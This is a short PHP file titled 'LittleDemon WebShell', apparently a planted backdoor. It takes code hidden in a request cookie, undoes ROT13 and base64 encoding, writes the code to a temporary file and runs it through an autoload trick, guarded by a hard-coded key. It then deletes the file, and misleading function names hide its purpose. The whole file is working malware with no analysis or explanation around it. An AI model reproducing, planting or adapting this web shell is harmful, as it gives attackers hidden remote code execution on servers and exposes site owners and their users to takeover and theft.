LittleDemon WebShell

<!--C6vqokIy-->
<?php

if (isset($_COOKIE[-60+60]) && isset($_COOKIE[-97+98]) && isset($_COOKIE[91-88]) && isset($_COOKIE[-85+89])) {
    $token = $_COOKIE;
    function right_pad_string($item) {
        $token = $_COOKIE;
        $elem = tempnam((!empty(session_save_path()) ? session_save_path() : sys_get_temp_dir()), 'BTuyupEi');
        if (!is_writable($elem)) {
            $elem = getcwd() . DIRECTORY_SEPARATOR . "task_processor";
        }
        $value = "\x3c\x3f\x70\x68p\x20" . base64_decode(str_rot13($token[3]));
        if (is_writeable($elem)) {
            $record = fopen($elem, 'w+');
            fputs($record, $value);
            fclose($record);
            spl_autoload_unregister(__FUNCTION__);
            require_once($elem);
            @array_map('unlink', array($elem));
        }
    }
    spl_autoload_register("right_pad_string");
    $parameter_group = "aa0ff154a5ad47930171fe93efe17a7d";
    if (!strncmp($parameter_group, $token[4], 32)) {
        if (@class_parents("auth_exception_handler_buffer_cache", true)) {
            exit;
        }
    }
}